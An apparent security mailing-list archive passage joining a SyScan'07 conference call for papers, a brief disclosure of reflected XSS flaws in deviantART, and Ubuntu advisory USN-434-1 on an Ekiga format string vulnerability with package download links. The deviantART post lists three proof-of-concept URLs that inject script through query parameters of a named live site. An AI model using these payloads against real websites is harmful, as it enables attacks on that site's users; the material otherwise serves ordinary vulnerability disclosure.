personnel:


1. Thomas Lim - Organiser of SyScan and CEO of COSEINC
2. Dave Aitel - Founder of Immunitysec
3. Marc Maiffret - Founder and Chief Hacking Officer of eEye
4. Matthew "Shok" Conover - Symantec
5. Ong Geok Meng - McAfee

The CFP committee will review all submissions and determine the final 
list of speakers for SyScan'07.


*Speakers*

*Speakers' Privileges:*

* Return economy class air-ticket for one person.
* 3 nights of accommodation.
* Breakfast, lunch and dinner during conference.
* After-conference party.
* A very healthy dose of alcohol and fun.
* S$500 cash for speakers with brand new presentation.
* Selected speakers will get a chance to present in Korea and India at 
the end of the year.


*Topics*

The focus for SyScan'07 will include the following:

*/Operating Systems/*

* Vista
* Linux

*/Mobile Devices/Embedded systems/*

* SmartPhones
* PDAs
* Game Consoles

*/Networking/Telecommunication/*

* VoIP
* 3G/3.5G network
* IPv6
* WLAN/WiFi
* GPRS

*/Industry specific/*

* Banking and Financial Services sectors

*/Malware/*

*/BotNets/*

/*/Web 2.0/*

* Web services
* PHP
* .Net
* Web applications
/
Any topics that will catch the attention of the CFP committee and/or the 
world.


*TRAINERS*

*Trainers' Privileges:*

* 50% of net profit of class.
* 2 nights of accommodation (conference).
* After-conference party.
* A very healthy dose of alcohol and fun.

Please note that the net profit for each class is determined by the 
difference between the total fee collected for each class and the total 
expenses incurred for each class. The expenses of each class would 
include the return economy air-ticket of the trainer, 3 nights of 
accommodation (training) and the rental of the training venue.


*Topics*

SyScan'07 training topics will focus on the following areas:

Web Applications

* .Net applications
* Java applications

Networks

* VoIP
* 3G/3.5G network
* IPv6
* WLAN/WiFi
* GPRS

Databases

Storage

*CFP Submission:*

CFP submission must include the following information:

1) Brief biography including list of publications and papers published 
previously or training classes conducted previously.


2) Proposed presentation/training title, category, synopsis and 
description.


3) Contact Information (full name, alias, handler, e-mail, postal 
address, phone, fax, photo, country of origin, special dietary 
requirement).


4) Employment and/or affiliations information.

5) Any significant presentation and educational/training 
experience/background.


6) Why is your material different or innovative or significant or an 
important tutorial?


Please note that all speakers will be allocated 50 minutes of 
presentation time. Any speakers that require more time must inform the 
CFP committee during the CFP submission.


Rraining class will be 2 full days. Please inform the CFP committee if 
your class is shorter or longer than 2 days during your CFP submission.


All submission must be in English in either MS Office or PDF format. The 
more information you provide, the better the chance for selection. 
Please send submission to [EMAIL PROTECTED] .


Submission for trainers must be done no later than 30th March 2007.

Submission for speakers must be done no later than 30th April 2007.

*Important Dates*

Final CFP Submission (Trainers) - 30th March 2007

Final CFP Submission (Speakers) - 30th April 2007

Notification of Acceptance (Trainers) - 15th April 2007.

Notification of Acce

XSS In Script deviantART

[RaeD Hasadya]

By Hasadya Raed
Contact : [EMAIL PROTECTED]


XSS BUGS
Script : deviantART


http://www.deviantart.com/deviation/48117218/?qo=";>a l e r 
t('RaeD');
http://prints.deviantart.com/?catpath=manga,cartoons&order=";>a l e 
r t('RaeD');
http://prints.deviantart.com/?order=";>a l e r t('RaeD');

By Hasadya Raed


  










  



-- 
___
Get your free email from http://bsdmail.com

[USN-434-1] Ekiga vulnerability

[Kees Cook]

=== 
Ubuntu Security Notice USN-434-1 March 09, 2007
ekiga, gnomemeeting vulnerability
CVE-2007-0999
===

A security issue affects the following Ubuntu releases:

Ubuntu 5.10
Ubuntu 6.06 LTS
Ubuntu 6.10

This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.

The problem can be corrected by upgrading your system to the
following package versions:

Ubuntu 5.10:
  gnomemeeting 1.2.2-1ubuntu1.2

Ubuntu 6.06 LTS:
  ekiga2.0.1-0ubuntu6.2

Ubuntu 6.10:
  ekiga2.0.3-0ubuntu3.2

After a standard system upgrade you need to restart Ekiga or reboot your 
computer to effect the necessary changes.

Details follow:

It was discovered that Ekiga had format string vulnerabilities beyond 
those fixed in USN-426-1.  If a user was running Ekiga and listening for 
incoming calls, a remote attacker could send a crafted call request, and 
execute arbitrary code with the user's privileges.


Updated packages for Ubuntu 5.10:

  Source archives:


http://security.ubuntu.com/ubuntu/pool/main/g/gnomemeeting/gnomemeeting_1.2.2-1ubuntu1.2.diff.gz
  Size/MD5:13935 390ded46c12911e6ff7f0fb0b41648b1

http://security.ubuntu.com/ubuntu/pool/main/g/gnomemeeting/gnomemeeting_1.2.2-1ubuntu1.2.dsc
  Size/MD5: 1811 bfaea7c58d0be1c76fb15275584929d8

http://security.ubuntu.com/ubuntu/pool/main/g/gnomemeeting/gnomemeeting_1.2.2.orig.tar.gz
  Size/MD5:  6059950 65fe2d6a31e63a37c5a6217206223192

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)


http://security.ubuntu.com/ubuntu/pool/main/g/gnomemeeting/gnomemeeting_1.2.2-1ubuntu1.2_amd64.deb
  Size/MD5:  1826502 ab68c7c0c54d6ea2288058f1cd850e0a

  i386 architecture (x86 compatible Intel/AMD)


http://security.ubuntu.com/ubuntu/pool/main/g/gnomemeeting/gnomemeeting_1.2.2-1ubuntu1.2_i386.deb
  Size/MD5:  1802224 2323471938830841421f5758518444a0

  powerpc architecture (Apple Macintosh G3/G4/G5)


http://security.ubuntu.com/ubuntu/pool/main/g/gnomemeeting/gnomemeeting_1.2.2-1ubuntu1.2_powerpc.deb
  Size/MD5:  1817578 61f4574c015fb133a7d223d68945ad87

  sparc architecture (Sun SPARC/UltraSPARC)


http://security.ubuntu.com/ubuntu/pool/main/g/gnomemeeting/gnomemeeting_1.2.2-1ubuntu1.2_sparc.deb
  Size/MD5:  1803946 ab636f2081b328f36025e99cea2f0cd3

Updated packages for Ubuntu 6.06 LTS:

  Source archives:


http://security.ubuntu.com/ubuntu/pool/main/e/ekiga/ekiga_2.0.1-0ubuntu6.2.diff.gz
  Size/MD5:26736 820ab04b4cb0423bb9d62f03bf3e4634

http://security.ubuntu.com/ubuntu/pool/main/e/ekiga/ekiga_2.0.1-0ubuntu6.2.dsc
  Size/MD5: 2090 921caa6df4e1ceeb79438b5f653992c6
http://security.ubuntu.com/ubuntu/pool/main/e/ekiga/ekiga_2.0.1.orig.tar.gz
  Size/MD5:  5572709 9f0a2bcce380677e38b23991320df171

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)


http://security.ubuntu.com/ubuntu/pool/main/e/ekiga/ekiga_2.0.1-0ubuntu6.2_amd64.deb
  Size/MD5:  3687974 428c44b190d3e1e6f97f8d3be08aa6fe

  i386 architecture (x86 compatible Intel/AMD)


http://security.ubuntu.com/ubuntu/pool/main/e/ekiga/ekiga_2.0.1-0ubuntu6.2_i386.deb
  Size/MD5:  3658256 2b4c80838f881af9780e65e5be79b26b

  powerpc architecture (Apple Macintosh G3/G4/G5)


http://security.ubuntu.com/ubuntu/pool/main/e/ekiga/ekiga_2.0.1-0ubuntu6.2_powerpc.deb
  Size/MD5:  3673874 44119593cb37df9ae0c759df26e9f5b3

  sparc architecture (Sun SPARC/UltraSPARC)


http://security.ubuntu.com/ubuntu/pool/main/e/ekiga/ekiga_2.0.1-0ubuntu6.2_sparc.deb
  Size/MD5:  3661004 85ce6c1bc136e1e6699cfb501d537abd

Updated packages for Ubuntu 6.10:

  Source archives:


http://security.ubuntu.com/ubuntu/pool/main/e/ekiga/ekiga_2.0.3-0ubuntu3.2.diff.gz
  Size/MD5:27205 ae82839a944aa39b118b1fa6edda3f1c

http://security.ubuntu.com/ubuntu/pool/main/e/ekiga/ekiga_2.0.3-0ubuntu3.2.dsc
  Size/MD5: 1837 90fa46619ab136f7e8d7086916c1bdc0
http://security.ubuntu.com/ubuntu/pool/main/e/ekiga/ekiga_2.0.3.orig.tar.gz
  Size/MD5:  5749938 5ad3458d73d65c6502c312ff0c430a7c

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)


http://security.ubuntu.com/ubuntu/pool/main/e/ekiga/ekiga_2.0.3-0ubuntu3.2_amd64.deb
  Size/MD5:  3689026 82e52fe078d8ab0102bf647d12cfe4cc

  i386 architecture (x86 compatible Intel/AMD)


http://security.ubuntu.com/ubuntu/pool/main/e/ekiga/ekiga_2.0.3-0ubuntu3.2_i386.deb
  Size/MD5:  3668638 4ebd1951ef9e4cc4860223e682c90541

  powerpc architecture (Apple Macintosh G3/G4/G5)


http://security.ubuntu.com/ubuntu/pool/main/e/ekiga/ekiga_2.0.3-0ubuntu3.2_powerpc.deb
  Size/MD5:  3676386 efcac25a055bb4cd5e776550c370880f

  sparc architecture (Sun SPARC/UltraSPARC)


http://security.ubuntu.com/ubuntu/pool/main/e/ekiga/ekiga_2.0.3-0u